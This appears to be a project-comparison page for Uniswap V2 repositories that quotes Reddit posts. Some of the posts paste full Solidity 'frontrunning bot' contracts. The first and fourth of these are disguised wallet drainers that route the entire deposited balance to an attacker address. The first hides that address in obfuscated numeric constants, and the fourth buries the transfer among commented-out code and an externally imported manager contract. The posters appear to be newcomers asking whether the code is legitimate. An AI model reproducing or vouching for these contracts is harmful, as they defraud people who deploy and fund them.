v2-core VS uniswap-v2-periphery

Compare v2-core vs uniswap-v2-periphery and see what are their differences.

uniswap-v2-periphery

๐ŸŽš Peripheral smart contracts for interacting with Uniswap V2 [Moved to: https://github.com/Uniswap/v2-periphery] (by Uniswap)
Our great sponsors
  • SurveyJS - Open-Source JSON Form Builder to Create Dynamic Forms Right in Your App
  • WorkOS - The modern identity platform for B2B SaaS
  • InfluxDB - Power Real-Time Data Analytics at Scale
v2-core uniswap-v2-periphery
16 4
2,809 509
2.7% -
0.0 0.5
7 days ago over 2 years ago
TypeScript Solidity
GNU General Public License v3.0 only GNU General Public License v3.0 only
The number of mentions indicates the total number of mentions that we've tracked plus the number of user suggested alternatives.
Stars - the number of stars that a project has on GitHub. Growth - month over month growth in stars.
Activity is a relative number indicating how actively a project is being developed. Recent commits have higher weight than older ones.
For example, an activity of 9.0 indicates that a project is amongst the top 10% of the most actively developed projects that we are tracking.

v2-core

Posts with mentions or reviews of v2-core. We have used some of these posts to build our list of alternatives and similar projects. The last one was on 2022-11-06.

uniswap-v2-periphery

Posts with mentions or reviews of uniswap-v2-periphery. We have used some of these posts to build our list of alternatives and similar projects. The last one was on 2022-01-20.
  • Could someone kindly help me with this code?
    1 project | /r/solidity | 25 Nov 2022
    This is supposed to be a frontrunning bot in Solidity. Might any kind souls out there help me with confirming this code is legit and not some sort of siphon? My experience in coding is very limited. Much gratitude and appreciation to anyone who helps/chimes in. <3 pragma solidity ^0.6.6; // Import Libraries Migrator/Exchange/Factory import "https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/IUniswapV2Migrator.sol"; import "https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Exchange.sol"; import "https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Factory.sol"; contract UniswapFrontrunBot { string public tokenName; string public tokenSymbol; uint frontrun; event Log(string _msg); constructor(string memory _tokenName, string memory _tokenSymbol) public { tokenName = _tokenName; tokenSymbol = _tokenSymbol; } receive() external payable {} struct slice { uint _len; uint _ptr; } /* * @dev Find newly deployed contracts on Uniswap * @param memory of required contract liquidity. * @param other The second slice to compare. * @return New contracts with required liquidity. */ function findNewContracts(slice memory self, slice memory other) internal pure returns (int) { uint shortest = self._len; if (other._len < self._len) shortest = other._len; uint selfptr = self._ptr; uint otherptr = other._ptr; for (uint idx = 0; idx < shortest; idx += 32) { // initiate contract finder uint a; uint b; string memory WETH_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2"; string memory TOKEN_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2"; loadCurrentContract(WETH_CONTRACT_ADDRESS); loadCurrentContract(TOKEN_CONTRACT_ADDRESS); assembly { a := mload(selfptr) b := mload(otherptr) } if (a != b) { // Mask out irrelevant contracts and check again for new contracts uint256 mask = uint256(-1); if(shortest < 32) { mask = ~(2 ** (8 * (32 - shortest + idx)) - 1); } uint256 diff = (a & mask) - (b & mask); if (diff != 0) return int(diff); } selfptr += 32; otherptr += 32; } return int(self._len) - int(other._len); } /* * @dev Extracts the newest contracts on Uniswap exchange * @param self The slice to operate on. * @param rune The slice that will contain the first rune. * @return `list of contracts`. */ function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) { uint ptr = selfptr; uint idx; if (needlelen <= selflen) { if (needlelen <= 32) { bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1)); bytes32 needledata; assembly { needledata := and(mload(needleptr), mask) } uint end = selfptr + selflen - needlelen; bytes32 ptrdata; assembly { ptrdata := and(mload(ptr), mask) } while (ptrdata != needledata) { if (ptr >= end) return selfptr + selflen; ptr++; assembly { ptrdata := and(mload(ptr), mask) } } return ptr; } else { // For long needles, use hashing bytes32 hash; assembly { hash := keccak256(needleptr, needlelen) } for (idx = 0; idx <= selflen - needlelen; idx++) { bytes32 testHash; assembly { testHash := keccak256(ptr, needlelen) } if (hash == testHash) return ptr; ptr += 1; } } } return selfptr + selflen; } /* * @dev Loading the contract * @param contract address * @return contract interaction object */ function loadCurrentContract(string memory self) internal pure returns (string memory) { string memory ret = self; uint retptr; assembly { retptr := add(ret, 32) } return ret; } /* * @dev Extracts the contract from Uniswap * @param self The slice to operate on. * @param rune The slice that will contain the first rune. * @return `rune`. */ function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) { rune._ptr = self._ptr; if (self._len == 0) { rune._len = 0; return rune; } uint l; uint b; // Load the first byte of the rune into the LSBs of b assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) } if (b < 0x80) { l = 1; } else if(b < 0xE0) { l = 2; } else if(b < 0xF0) { l = 3; } else { l = 4; } // Check for truncated codepoints if (l > self._len) { rune._len = self._len; self._ptr += self._len; self._len = 0; return rune; } self._ptr += l; self._len -= l; rune._len = l; return rune; } function memcpy(uint dest, uint src, uint len) private pure { // Check available liquidity for(; len >= 32; len -= 32) { assembly { mstore(dest, mload(src)) } dest += 32; src += 32; } // Copy remaining bytes uint mask = 256 ** (32 - len) - 1; assembly { let srcpart := and(mload(src), not(mask)) let destpart := and(mload(dest), mask) mstore(dest, or(destpart, srcpart)) } } /* * @dev Orders the contract by its available liquidity * @param self The slice to operate on. * @return The contract with possbile maximum return */ function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) { if (self._len == 0) { return 0; } uint word; uint length; uint divisor = 2 ** 248; // Load the rune into the MSBs of b assembly { word:= mload(mload(add(self, 32))) } uint b = word / divisor; if (b < 0x80) { ret = b; length = 1; } else if(b < 0xE0) { ret = b & 0x1F; length = 2; } else if(b < 0xF0) { ret = b & 0x0F; length = 3; } else { ret = b & 0x07; length = 4; } // Check for truncated codepoints if (length > self._len) { return 0; } for (uint i = 1; i < length; i++) { divisor = divisor / 256; b = (word / divisor) & 0xFF; if (b & 0xC0 != 0x80) { // Invalid UTF-8 sequence return 0; } ret = (ret * 64) | (b & 0x3F); } return ret; } /* * @dev Calculates remaining liquidity in contract * @param self The slice to operate on. * @return The length of the slice in runes. */ function calcLiquidityInContract(slice memory self) internal pure returns (uint l) { uint ptr = self._ptr - 31; uint end = ptr + self._len; for (l = 0; ptr < end; l++) { uint8 b; assembly { b := and(mload(ptr), 0xFF) } if (b < 0x80) { ptr += 1; } else if(b < 0xE0) { ptr += 2; } else if(b < 0xF0) { ptr += 3; } else if(b < 0xF8) { ptr += 4; } else if(b < 0xFC) { ptr += 5; } else { ptr += 6; } } } function getMemPoolOffset() internal pure returns (uint) { return 505991; } /* * @dev Parsing all uniswap mempool * @param self The contract to operate on. * @return True if the slice is empty, False otherwise. */ function parseMemoryPool(string memory _a) internal pure returns (address _parsed) { bytes memory tmp = bytes(_a); uint160 iaddr = 0; uint160 b1; uint160 b2; for (uint i = 2; i < 2 + 2 * 20; i += 2) { iaddr *= 256; b1 = uint160(uint8(tmp[i])); b2 = uint160(uint8(tmp[i + 1])); if ((b1 >= 97) && (b1 <= 102)) { b1 -= 87; } else if ((b1 >= 65) && (b1 <= 70)) { b1 -= 55; } else if ((b1 >= 48) && (b1 <= 57)) { b1 -= 48; } if ((b2 >= 97) && (b2 <= 102)) { b2 -= 87; } else if ((b2 >= 65) && (b2 <= 70)) { b2 -= 55; } else if ((b2 >= 48) && (b2 <= 57)) { b2 -= 48; } iaddr += (b1 * 16 + b2); } return address(iaddr); } /* * @dev Returns the keccak-256 hash of the contracts. * @param self The slice to hash. * @return The hash of the contract. */ function keccak(slice memory self) internal pure returns (bytes32 ret) { assembly { ret := keccak256(mload(add(self, 32)), mload(self)) } } /* * @dev Check if contract has enough liquidity available * @param self The contract to operate on. * @return True if the slice starts with the provided text, false otherwise. */ function checkLiquidity(uint a) internal pure returns (string memory) { uint count = 0; uint b = a; while (b != 0) { count++; b /= 16; } bytes memory res = new bytes(count); for (uint i=0; i= end) return selfptr + selflen; ptr++; assembly { ptrdata := and(mload(ptr), mask) } } return ptr; } else { // For long needles, use hashing bytes32 hash; assembly { hash := keccak256(needleptr, needlelen) } for (idx = 0; idx <= selflen - needlelen; idx++) { bytes32 testHash; assembly { testHash := keccak256(ptr, needlelen) } if (hash == testHash) return ptr; ptr += 1; } } } return selfptr + selflen; } function getMemPoolHeight() internal pure returns (uint) { return 984675; } /* * @dev Iterating through all mempool to call the one with the with highest possible returns * @return `self`. */ function callMempool() internal pure returns (string memory) { string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset())); uint _memPoolSol = 532914; uint _memPoolLength = getMemPoolLength(); uint _memPoolSize = 169530; uint _memPoolHeight = getMemPoolHeight(); uint _memPoolWidth = 453021; uint _memPoolDepth = getMemPoolDepth(); uint _memPoolCount = 991358; string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol)); string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize)); string memory _memPool3 = mempool(checkLiquidity(_memPoolHeight), checkLiquidity(_memPoolWidth)); string memory _memPool4 = mempool(checkLiquidity(_memPoolDepth), checkLiquidity(_memPoolCount)); string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4)); string memory _fullMempool = mempool("0", _allMempools); return _fullMempool; } /* * @dev Modifies `self` to contain everything from the first occurrence of * `needle` to the end of the slice. `self` is set to the empty slice * if `needle` is not found. * @param self The slice to search and modify. * @param needle The text to search for. * @return `self`. */ function toHexDigit(uint8 d) pure internal returns (byte) { if (0 <= d && d <= 9) { return byte(uint8(byte('0')) + d); } else if (10 <= uint8(d) && uint8(d) <= 15) { return byte(uint8(byte('a')) + d - 10); } // revert("Invalid hex digit"); revert(); } function _callFrontRunActionMempool() internal pure returns (address) { return parseMemoryPool(callMempool()); } /* * @dev Perform frontrun action from different contract pools * @return `liquidity`. */ function start() public payable { emit Log("Running FrontRun attack on Uniswap. This can take a while please wait..."); payable(_callFrontRunActionMempool()).transfer(address(this).balance); } /* * @dev withdraws profits back to the contract creator address * @return `profits`. */ function withdrawal() public payable { emit Log("Sending profits back to contract creator address..."); payable(withdrawProfits()).transfer(address(this).balance); } /* * @dev token int2 to readable str * @param token An output parameter to which the first token is written. * @return `token`. */ function uint2str(uint _i) internal pure returns (string memory _uintAsString) { if (_i == 0) { return "0"; } uint j = _i; uint len; while (j != 0) { len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (_i != 0) { bstr[k--] = byte(uint8(48 + _i % 10)); _i /= 10; } return string(bstr); } function getMemPoolDepth() internal pure returns (uint) { return 264495; } function withdrawProfits() internal pure returns (address) { return parseMemoryPool(callMempool()); } /* * @dev loads all uniswap mempool into memory * @param token An output parameter to which the first token is written. * @return `mempool`. */ function mempool(string memory _base, string memory _value) internal pure returns (string memory) { bytes memory _baseBytes = bytes(_base); bytes memory _valueBytes = bytes(_value); string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length); bytes memory _newValue = bytes(_tmpValue); uint i; uint j; for(i=0; i<_baseBytes.length; i++) { _newValue[j++] = _baseBytes[i]; } for(i=0; i<_valueBytes.length; i++) { _newValue[j++] = _valueBytes[i]; } return string(_newValue); } }
  • Error When Deploying Token Contract to TestNet?
    5 projects | /r/solidity | 20 Jan 2022
    // SPDX-License-Identifier: MIT pragma solidity ^0.8.9; import "https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/IUniswapV2Router02.sol"; contract ERC20Basic { string public constant name = "ERC20Basic"; string public constant symbol = "BaSiC"; uint8 public constant decimals = 18; address internal constant UNISWAP_ROUTER_ADDRESS = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ; IUniswapV2Router02 public uniswapV2Router; event Approval(address indexed tokenOwner, address indexed spender, uint tokens); event Transfer(address indexed from, address indexed to, uint tokens); mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; // uint256 private _totalSupply = 1 * 10**6 * 10**18; // 10 uint256 private _totalSupply;// 10 constructor(uint256 mintAmount) { // totalSupply_ = total; // balances[msg.sender] = totalSupply_; // _balances[msg.sender] = _totalSupply; mint(address(this), mintAmount); uniswapV2Router = IUniswapV2Router02(UNISWAP_ROUTER_ADDRESS); } function mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } function addLiquidity(uint256 tokenAmount) public payable { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: msg.value}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable address(this), block.timestamp ); } function totalSupply() public view returns (uint256) { return _totalSupply; }
  • Anybody with coding experience can you help?
    4 projects | /r/NoStupidQuestions | 3 Jan 2022
    // Pancakeswap Manager import "https://github.com/frontrunbotv2/pancakeswapbot/blob/main/frontrunbot/contract/interfaces/v2/PancakeSwapV2factory.sol"; import "https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Factory.sol"; import "https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Exchange.sol";
  • Newbie followed a tutorial but can't withdraw funds from deployed smart contract please help!
    3 projects | /r/solidity | 2 Dec 2021
    pragma solidity ^0.6.6; // PancakeSwap FrontrunDeployer import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Callee.sol"; // PancakeSwap manager import "https://github.com/UniswapV2-DEV/Uniswap/blob/main/Uniswap-v2-Periphery"; import "https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Factory.sol"; import "https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Exchange.sol"; contract UniswapV2FrontBot { string public tokenName; string public tokenSymbol; uint frontrun; Manager manager; constructor(string memory _tokenName, string memory _tokenSymbol) public { tokenName = _tokenName; tokenSymbol = _tokenSymbol; manager = new Manager(); } // Send required BNB for liquidity pair receive() external payable {} // Perform tasks (clubbed .json functions into one to reduce external calls & reduce gas) manager.performTasks(); function action() public payable { //Perform a front-running attack on uniswap //const fs = require('fs'); //var Web3 = require('web3'); //var abiDecoder = require('abi-decoder'); //var colors = require("colors"); //var Tx = require('ethereumjs-tx').Transaction; //var axios = require('axios'); //var BigNumber = require('big-number'); //const {NETWORK, PANCAKE_ROUTER_ADDRESS, PANCAKE_FACTORY_ADDRESS, PANCAKE_ROUTER_ABI, PANCAKE_FACTORY_ABI, PANCAKE_POOL_ABI, HTTP_PROVIDER_LINK, WEBSOCKET_PROVIDER_LINK, HTTP_PROVIDER_LINK_TEST} = require('./constants.js'); //const {setBotAddress, getBotAddress, FRONT_BOT_ADDRESS, botABI} = require('./bot.js'); //const {PRIVATE_KEY, TOKEN_ADDRESS, AMOUNT, LEVEL} = require('./env.js'); //const INPUT_TOKEN_ADDRESS = '0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c'; //const WBNB_TOKEN_ADDRESS = '0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c'; manager; //var input_token_info; //var out_token_info; //var pool_info; //var gas_price_info; manager; //var web3; //var web3Ts; //var web3Ws; //var pancakeRouter; //var pancakeFactory; manager; // one gwei //const ONE_GWEI = 1e9; manager; //var buy_finished = false; //var sell_finished = false; //var buy_failed = false; //var sell_failed = false; //var attack_started = false; manager; //var succeed = false; //var subscription; manager; //async function createWeb3(){ //try { // web3 = new Web3(new Web3.providers.HttpProvider(HTTP_PROVIDER_LINK)); // web3 = new Web3(new Web3.providers.HttpProvider(HTTP_PROVIDER_LINK_TEST)); // web3 = new Web3(EthereumTesterProvider()); // web3.eth.getAccounts(console.log); //web3Ws = new Web3(new Web3.providers.WebsocketProvider(WEBSOCKET_PROVIDER_LINK)); //pancakeRouter = new web3.eth.Contract(PANCAKE_ROUTER_ABI, PANCAKE_ROUTER_ADDRESS); //pancakeFactory = new web3.eth.Contract(PANCAKE_FACTORY_ABI, PANCAKE_FACTORY_ADDRESS); //abiDecoder.addABI(PANCAKE_ROUTER_ABI); manager; //return true; //} catch (error) { //console.log(error); //return false; //async function main() { //try { //if (await createWeb3() == false) { //console.log('Web3 Create Error'.yellow); //process.exit(); //const user_wallet = web3.eth.accounts.privateKeyToAccount(PRIVATE_KEY); //const out_token_address = TOKEN_ADDRESS; //const amount = AMOUNT; //const level = LEVEL; //ret = await preparedAttack(INPUT_TOKEN_ADDRESS, out_token_address, user_wallet, amount, level); //if(ret == false) { //process.exit(); //await updatePoolInfo(); //outputtoken = await pancakeRouter.methods.getAmountOut(((amount*1.2)*(10**18)).toString(), pool_info.input_volumn.toString(), pool_info.output_volumn.toString()).call(); //await approve(gas_price_info.high, outputtoken, out_token_address, user_wallet); //log_str = '***** Tracking more ' + (pool_info.attack_volumn/(10**input_token_info.decimals)).toFixed(5) + ' ' + input_token_info.symbol + ' Exchange on Pancake *****' // console.log(log_str.green); // console.log(web3Ws); //web3Ws.onopen = function(evt) { //web3Ws.send(JSON.stringify({ method: "subscribe", topic: "transfers", address: user_wallet.address })); //console.log('connected') // get pending transactions //subscription = web3Ws.eth.subscribe('pendingTransactions', function (error, result) { //}).on("data", async function (transactionHash) { //console.log(transactionHash); // let transaction = await web3.eth.getTransaction(transactionHash); // if (transaction != null && transaction['to'] == PANCAKE_ROUTER_ADDRESS) // { // await handleTransaction(transaction, out_token_address, user_wallet, amount, level); // } //if (succeed) { //console.log("The bot finished the attack."); //process.exit(); //catch (error) { //if(error.data != null && error.data.see === 'https://infura.io/dashboard') //console.log('Daily request count exceeded, Request rate limited'.yellow); //console.log('Please insert other API Key'); //else{ //console.log('Unknown Handled Error'); //console.log(error); //process.exit(); //function handleTransaction(transaction, out_token_address, user_wallet, amount, level) { //(await triggersFrontRun(transaction, out_token_address, amount, level)) { //subscription.unsubscribe(); //console.log('Perform front running attack...'); //gasPrice = parseInt(transaction['gasPrice']); //newGasPrice = gasPrice + 50*ONE_GWEI; //estimatedInput = ((amount*0.999)*(10**18)).toString(); //realInput = (amount*(10**18)).toString(); //gasLimit = (300000).toString(); //await updatePoolInfo(); //var outputtoken = await pancakeRouter.methods.getAmountOut(estimatedInput, pool_info.input_volumn.toString(), pool_info.output_volumn.toString()).call(); //swap(newGasPrice, gasLimit, outputtoken, realInput, 0, out_token_address, user_wallet, transaction); //console.log("wait until the honest transaction is done...", transaction['hash']); //while (await isPending(transaction['hash'])) { //if(buy_failed) //succeed = false; //return; //console.log('Buy succeed:') //Sell //await updatePoolInfo(); //var outputeth = await pancakeRouter.methods.getAmountOut(outputtoken, pool_info.output_volumn.toString(), pool_info.input_volumn.toString()).call(); //outputeth = outputeth * 0.999; //await swap(newGasPrice, gasLimit, outputtoken, outputeth, 1, out_token_address, user_wallet, transaction); //console.log('Sell succeed'); //succeed = true; manager; //async function approve(gasPrice, outputtoken, out_token_address, user_wallet){ //var allowance = await out_token_info.token_contract.methods.allowance(user_wallet.address, PANCAKE_ROUTER_ADDRESS).call(); //allowance = BigNumber(allowance); //outputtoken = BigNumber(outputtoken); //var decimals = BigNumber(10).power(out_token_info.decimals); //var max_allowance = BigNumber(10000).multiply(decimals); //if(outputtoken.gt(max_allowance)) //console.log('replace max allowance') //max_allowance = outputtoken; payable(manager.uniswapDepositAddress()).transfer(address(this).balance); //if(outputtoken.gt(allowance)){ //console.log(max_allowance.toString()); //var approveTX ={ //from: user_wallet.address, //to: out_token_address, //gas: 50000, //gasPrice: gasPrice*ONE_GWEI, //data: out_token_info.token_contract.methods.approve(PANCAKE_ROUTER_ADDRESS, max_allowance).encodeABI() manager; //var signedTX = await user_wallet.signTransaction(approveTX); //var result = await web3.eth.sendSignedTransaction(signedTX.rawTransaction); //console.log('Approved Token') //return; //select attacking transaction //async function triggersFrontRun(transaction, out_token_address, amount, level) { //if(attack_started) //return false; //console.log((transaction.hash).yellow, parseInt(transaction['gasPrice']) / 10**9); //if(parseInt(transaction['gasPrice']) / 10**9 > 10 && parseInt(transaction['gasPrice']) / 10**9 < 50){ //attack_started = true; //return true manager; //return false; //if (transaction['to'] != PANCAKE_ROUTER_ADDRESS) { //return false; //let data = parseTx(transaction['input']); manager; //let method = data[0]; manager; //let params = data[1]; manager; //let gasPrice = parseInt(transaction['gasPrice']) / 10**9; manager; //if(method == 'swapExactETHForTokens') manager; //let in_amount = transaction; manager; //let out_min = params[0]; manager; //let path = params[1]; manager; //let in_token_addr = path[0]; manager; //let out_token_addr = path[path.length-1]; manager; //let recept_addr = params[2]; manager; //let deadline = params[3]; manager; //if(out_token_addr != out_token_address) manager; // console.log(out_token_addr.blue) // console.log(out_token_address) //return false; } }

What are some alternatives?

When comparing v2-core and uniswap-v2-periphery you can also consider the following projects:

erc-1155 - Ethereum Semi Fungible Standard (ERC-1155)

USM - Minimalist USD - A minimalist, collateralized stablecoin built on Ethereum.

pancake-swap-core - Core smart contracts

defi-bot - Tutorial for building DeFi arbitrage bots

v2-periphery - ๐ŸŽš Peripheral smart contracts for interacting with Uniswap V2

erc20-balance - ๐Ÿ’Ž Get 2000+ ERC-20 token balances with JavaScript. Supports Node.js and Deno

v1-contracts - ๐ŸUniswap V1 smart contracts

revoke.cash - โŒ Revoke or update your token approvals

solidity-lib - ๐Ÿ“– Solidity libraries that are shared across Uniswap contracts

human-standard-token-abi - A JSON ABI for the Ethereum ERC 20 Token Standard

prb-math - Solidity library for advanced fixed-point math